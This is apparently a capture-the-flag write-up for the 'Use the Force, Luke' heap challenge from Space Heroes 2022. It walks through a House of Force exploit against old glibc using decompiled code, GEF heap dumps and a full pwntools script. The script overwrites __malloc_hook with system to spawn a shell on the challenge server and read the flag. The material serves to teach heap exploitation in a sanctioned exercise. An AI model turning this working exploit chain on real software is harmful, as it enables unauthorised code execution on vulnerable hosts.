Use the Force, Luke

by knittingirl / Knightsec

Rating: 5.0

Add your writeup

Use the Force, Luke

This challenge did not come with a description, but there was a free hint recommending Max Kamper's heap exploitation courses on Udemy, which is at least a strong indicator that this challenge does, indeed, use heap pwn.

This challenge was worth 392 points at the end of the competition, and it was rated as hard. The zip file that came with the challenge included the challenge, libc, and linker file, so it was simple to mimic the environment running on the live server. The challenge ultimately used a specific heap pwn technique known as House of Force, but in a manner that was reasonably simple to spot and implement. I will also note that in understanding how this attack works, it is really helpful to use an enhanced pwn debugger like GEF so that you can more readily view and interpret what is going on with heap chunks as the exploit progresses.

TL;DR Solution: Note that upon creation of a new mallocced chunk, an 8 byte overflow is available that can be made to leak into the top chunk. Follow the house of force technique by making the top chunk extremely large, allocating an extremely large chunk to end just before the malloc hook, writing the address of system to the chunk that is lined up over the malloc hook, and triggering malloc with heap address containing '/bin/sh' in order to call system('/bin/sh') and get a shell.

Original Writeup Link

This writeup is also available on my GitHub! View it there via this link: https://github.com/knittingirl/CTF-Writeups/tree/main/pwn_challs/space_heroes_22/Use%20the%20Force%2C%20Luke

Analyzing the Program:

The first step in my binary exploitation process is, as usual, to run the binary. We are automatically given what look like probable libc and heap leaks (later confirmed by reverse engineering). Our menu options seem to be limited to one; since this is supposed to be a heap challenge, a decent guess at its functionality is that the number of midi-chlorians is a specifier for the size of malloc, and our feelings are written to the mallocced chunk.

```
knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/space_heroes/force$ ./force
"This is our chance to destroy the Death Star, Luke"
You feel a system at 0x7f8fec61ab70
You feel something else at 0x1bfb000
(1) Reach out with the force
(2) Surrender
1
How many midi-chlorians?: 25
What do you feel?: aaaaaaaaaaaaaaaaaaaaaaaaaa
(1) Reach out with the force
(2) Surrender
```

Next, we can move on to reverse engineering the program in Ghidra. We can see that before we get to input anything, the libc address of system is leaked, a chunk of 0x88 is mallocced, the address - 0x10 (this will be the base of the heap since that is the first malloc) is leaked, then the chunk is freed. As expected, a chunk of specified midi-chlorian number is mallocced, and then feelings are written to the mallocced area. It's worth noting that we can do this four times before the program finishes. A potential vulnerability lies in the lines "mallocced_address = malloc(malloced_size); usable_bytes = malloc_usable_size(mallocced_address); read(0,mallocced_address,usable_bytes + 8);". Basically, usable bytes should be how much space is left over in the mallocced chunk for actual input once heap metadata is accounted for based on how the malloc_usable_size() function works. By reading in that number plus 8 to the mallocced chunk, I should overflow the chunk by 8 bytes and infringe on the next chunk's metadata.

```
undefined8 main(void)

{
  long usable_bytes;
  long in_FS_OFFSET;
  int local_30;
  int i;
  size_t malloced_size;
  void *heap_leak;
  void *mallocced_address;
  long canary;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  puts("\"This is our chance to destroy the Death Star, Luke\"");
                    /* libc leak */
  printf("You feel a system at %p\n",system);
  heap_leak = malloc(0x88);
```

```
                    /* heap leak */
  printf("You feel something else at %p\n",(long)heap_leak + -0x10);
  free(heap_leak);
  for (i = 0; i < 4; i = i + 1) {
    puts("(1) Reach out with the force");
    puts("(2) Surrender");
    __isoc99_scanf("%u",&local_30);
    if (local_30 == 2) break;
    printf("How many midi-chlorians?: ");
    __isoc99_scanf("%llu",&malloced_size);
    printf("What do you feel?: ");
    mallocced_address = malloc(malloced_size);
    usable_bytes = malloc_usable_size(mallocced_address);
                    /* Here we have an 8-byte overflow? */
    read(0,mallocced_address,usable_bytes + 8);
  }
  if (canary == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
```

Implementing House of Force

Corrupting the Top Chunk

At this point, I had recognized the force keyword, googled the house of force technique, and realized that it was perfect for this challenge. Its basic requirements are a libc and heap leak, which we have, the ability to overflow into the next physical chunk's size field, which we also have, and an old enough version of libc to not do too much by way of integrity checks on the top chunk's size, typically something pre-tcache. This libc file's name includes no tcache, so that is probably the case here.

So, to begin, here is what the heap looks like after that 0x88 chunk was created and freed, and before my input has actually accomplished anything. If I allocate a 0x88 byte chunk, which will fit perfectly into the space left by the freed chunk, I should then be able to read in 0x90 bytes of data and overwrite the top chunk-size specifier at 0x2261098. Note how GEF is giving the top chunk a size of 0x21000, a typical overall size for the heap section.

```
gef➤  x/20gx 0xfc2000
0xfc2000:       0x0000000000000000      0x0000000000021001
0xfc2010:       0x0000000000000000      0x0000000000000000
0xfc2020:       0x0000000000000000      0x0000000000000000
0xfc2030:       0x0000000000000000      0x0000000000000000
0xfc2040:       0x0000000000000000      0x0000000000000000
0xfc2050:       0x0000000000000000      0x0000000000000000
0xfc2060:       0x0000000000000000      0x0000000000000000
0xfc2070:       0x0000000000000000      0x0000000000000000
0xfc2080:       0x0000000000000000      0x0000000000000000
0xfc2090:       0x0000000000000000      0x0000000000020f71
gef➤  heap chunks
Chunk(addr=0xfc2010, size=0x21000, flags=PREV_INUSE)  ←  top chunk
gef➤
```

Here is that same information after I deliberately do the overwrite of the top chunk metadata. Note how now, GEF effectively thinks that top chunk spans 0xfffffffffffffff8, which is significantly larger than the actually allocated heap. This simple overwrite means that now, the program thinks that writes to the heap can extend to absolute end of the programs memory, and careful calculations based on our leaks can give us arbitrary writes anywhere in memory that physically comes after the heap.

```
gef➤  x/20gx 0xfc2000
0xfc2000:       0x0000000000000000      0x0000000000000091
0xfc2010:       0x6161616161616161      0x6161616161616161
0xfc2020:       0x6161616161616161      0x6161616161616161
0xfc2030:       0x6161616161616161      0x6161616161616161
0xfc2040:       0x6161616161616161      0x6161616161616161
0xfc2050:       0x6161616161616161      0x6161616161616161
0xfc2060:       0x6161616161616161      0x6161616161616161
0xfc2070:       0x6161616161616161      0x6161616161616161
0xfc2080:       0x6161616161616161      0x6161616161616161
0xfc2090:       0x6161616161616161      0xffffffffffffffff
gef➤  heap chunks
Chunk(addr=0xfc2010, size=0x90, flags=PREV_INUSE)
    [0x0000000000fc2010     61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61    aaaaaaaaaaaaaaaa]
Chunk(addr=0xfc20a0, size=0xfffffffffffffff8, flags=PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA)  ←  top chunk
gef➤
```

Here is the exploit code that got me to that point.

```
from pwn import *
```

```
local = 1
if local == 1:
    target = process('./force')

    pid = gdb.attach(target, "\nb *main+286\nb *main+249\n set disassembly-flavor intel\ncontinue")
else:
    target = remote('0.cloud.chals.io', 11996)

libc = ELF('.glibc/glibc_2.28_no-tcache/libc.so.6')

def malloc_chunk(size, content):
    print(target.recvuntil(b'(2) Surrender'))
    target.sendline(b'1')
    print(target.recvuntil(b'How many midi-chlorians?:'))
    target.sendline(str(size).encode('ascii'))
    print(target.recvuntil(b'What do you feel?:'))
    target.sendline(content)

print(target.recvuntil(b'You feel a system at'))
system_libc = int(target.recv(15), 16)
print(hex(system_libc))

print(target.recvuntil(b'You feel something else at'))
heap_base = int(target.recv(10), 16)
print(hex(heap_base))

malloc_chunk(0x88, b'a' * 0x88 + p64(0xffffffffffffffff))

target.interactive()
```

Overwriting the Malloc Hook and Getting a Shell

A great target for our arbitrary write will be the address of the malloc hook; this is commonly used in heap and format string challenges, since if you write a function pointer here and trigger the malloc function, the function in the malloc hook will also be triggered. Typically a onegadget would be placed in the malloc hook, but there aren't any that ultimately work in this libc version. Fortunately, the arguments passed to malloc() are also passed to the function in the malloc hook, so we'll just make sure to obtain and pass an address to '/bin/sh' in the malloc call and place the address of system, helpfully leaked earlier, in the malloc hook.

When I make my next allocation, I will create a new chunk that can effectively be as large as I want. Since there are no remaining free chunks, chunks will be allocated in physically sequential order within the space of the heap, which the program now thinks extends well beyond the physical heap section's bounds. So, in order to set up an arbitrary write, I want that chunk to span from its starting point in the heap, which will be just after my 0x90-bytes long chunk, to just before my target area so that my next chunk ends up directly on top of the target. Specifically, the distance is calculated by subtracting the target address from the heap base, subtracting the size of the allocated chunk (0x90), subtract the additional 8 bytes between the heap base and the start of the first chunk, subtract a further 8 bytes for the chunk size metadata at the start of the new chunk, and then you'll want 0x8 or 0x10 bytes to finish a divisble by 0x10 chunk and account for the size metadata at the start of the new chunk.

I also write the string '/bin/sh' here; this way I have the string in a known address for use later. The new exploit code:

```
libc_base = system_libc - libc.symbols['system']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
distance = malloc_hook - heap_base - 0x90 - 0x8 - 0x8 - 0x10
print(hex(malloc_hook))

malloc_chunk(distance, b'/bin/sh\x00')
```

And here is what the heap does with this addition. Note that the size of the top chunk comes in just before the malloc hook, and the next chunk allocation seems set to overwrite the malloc hook itself.

```
gef➤  x/30gx 0x1fe3000
0x1fe3000:      0x0000000000000000      0x0000000000000091
0x1fe3010:      0x6161616161616161      0x6161616161616161
0x1fe3020:      0x6161616161616161      0x6161616161616161
0x1fe3030:      0x6161616161616161      0x6161616161616161
0x1fe3040:      0x6161616161616161      0x6161616161616161
0x1fe3050:      0x6161616161616161      0x6161616161616161
0x1fe3060:      0x6161616161616161      0x6161616161616161
0x1fe3070:      0x6161616161616161      0x6161616161616161
0x1fe3080:      0x6161616161616161      0x6161616161616161
0x1fe3090:      0x6161616161616161      0x00007fec7a984b71
0x1fe30a0:      0x0068732f6e69622f      0x000000000000000a
0x1fe30b0:      0x0000000000000000      0x0000000000000000
0x1fe30c0:      0x0000000000000000      0x0000000000000000
0x1fe30d0:      0x0000000000000000      0x0000000000000000
0x1fe30e0:      0x0000000000000000      0x0000000000000000
gef➤  heap chunks
Chunk(addr=0x1fe3010, size=0x90, flags=PREV_INUSE)
    [0x0000000001fe3010     61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61    aaaaaaaaaaaaaaaa]
```

```
Chunk(addr=0x1fe30a0, size=0x7fec7a984b70, flags=PREV_INUSE)
    [0x0000000001fe30a0     2f 62 69 6e 2f 73 68 00 0a 00 00 00 00 00 00 00    /bin/sh.........]
Chunk(addr=0x7fec7c967c10, size=0xffff80138567b488, flags=PREV_INUSE)  ←  top chunk
gef➤  x/gx 0x7fec7c967c10
0x7fec7c967c10 <__malloc_hook>: 0x0000000000000000
gef➤  x/3gx 0x7fec7c967c00
0x7fec7c967c00 <__memalign_hook>:       0x00007fec7c638bd0      0xffff80138567b489
0x7fec7c967c10 <__malloc_hook>: 0x0000000000000000
```

From here, the exploit is pretty straightforward. We do another chunk allocation where the contents are the system address, which will overwrite the malloc hook. The size of the allocated chunk is not important. Now that the malloc hook is overwritten, we trigger malloc a third time with a "size" (size is the first argument of malloc, which we need to control in system) of the address that we wrote '/bin/sh' to. Here is the full exploit code:

```
from pwn import *

local = 0
if local == 1:
    target = process('./force')

    pid = gdb.attach(target, "\nb *main+286\nb *main+249\n set disassembly-flavor intel\ncontinue")
else:
    target = remote('0.cloud.chals.io', 11996)

libc = ELF('.glibc/glibc_2.28_no-tcache/libc.so.6')

def malloc_chunk(size, content):
    print(target.recvuntil(b'(2) Surrender'))
    target.sendline(b'1')
    print(target.recvuntil(b'How many midi-chlorians?:'))
    target.sendline(str(size).encode('ascii'))
    print(target.recvuntil(b'What do you feel?:'))
    target.sendline(content)

print(target.recvuntil(b'You feel a system at'))
system_libc = int(target.recv(15), 16)
print(hex(system_libc))

print(target.recvuntil(b'You feel something else at'))
heap_base = int(target.recv(10), 16)
print(hex(heap_base))


malloc_chunk(0x88, b'a' * 0x88 + p64(0xffffffffffffffff))

libc_base = system_libc - libc.symbols['system']
malloc_hook = libc_base + libc.symbols['__malloc_hook']

distance = malloc_hook - (heap_base + 0x90 + 0x20)
print(hex(malloc_hook))

malloc_chunk(distance, b'/bin/sh\x00')
binsh = heap_base + 0x90 + 0x10

malloc_chunk(24, p64(system_libc))

malloc_chunk(binsh, b'')

target.interactive()
```

Here are some of the notable details in the debugger following the third allocation; we have a new heap chunk starting at the malloc hook, and we overwrote it with the system libc address.

```
gef➤  heap chunks
Chunk(addr=0x1d80010, size=0x90, flags=PREV_INUSE)
    [0x0000000001d80010     61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61    aaaaaaaaaaaaaaaa]
Chunk(addr=0x1d800a0, size=0x7fc74e039b70, flags=PREV_INUSE)
    [0x0000000001d800a0     2f 62 69 6e 2f 73 68 00 0a 00 00 00 00 00 00 00    /bin/sh.........]
Chunk(addr=0x7fc74fdb9c10, size=0x20, flags=PREV_INUSE)
    [0x00007fc74fdb9c10 <__malloc_hook+0000>    70 bb a4 4f c7 7f 00 00 0a 00 00 00 00 00 00 00    p..O............]
Chunk(addr=0x7fc74fdb9c30, size=0xffff8038b1fc6468, flags=PREV_INUSE)  ←  top chunk
gef➤  x/gx 0x7fc74fdb9c10
0x7fc74fdb9c10 <__malloc_hook>: 0x00007fc74fa4bb70
gef➤  x/i 0x00007fc74fa4bb70
   0x7fc74fa4bb70 <__libc_system>:      test   rdi,rdi
```

And here is what it looks like when we run the exploit code against the remote target:

```
knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/space_heroes/force$ python3 use_the_force_exploit.py
[+] Opening connection to 0.cloud.chals.io on port 11996: Done
[*] '/mnt/c/Users/Owner/Desktop/CTF_Files/space_heroes/force/.glibc/glibc_2.28_no-tcache/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
b'"This is our chance to destroy the Death Star, Luke"\nYou feel a system at'
0x7fbae02b7b70
b'\nYou feel something else at'
0xaac000
b'(1) Reach out with the force\n(2) Surrender'
b'\nHow many midi-chlorians?:'
b' What do you feel?:'
0x7fbae0625c10
b' (1) Reach out with the force\n(2) Surrender'
b'\nHow many midi-chlorians?:'
b' What do you feel?:'
b' (1) Reach out with the force\n(2) Surrender'
b'\nHow many midi-chlorians?:'
b' What do you feel?:'
[*] Switching to interactive mode
 $ ls
flag.txt  force
$ cat flag.txt
shctf{st4r_w4rs_1s_pr3tty_0v3rr4t3d}
$
```


Thanks for reading!

Comments

Comment

Send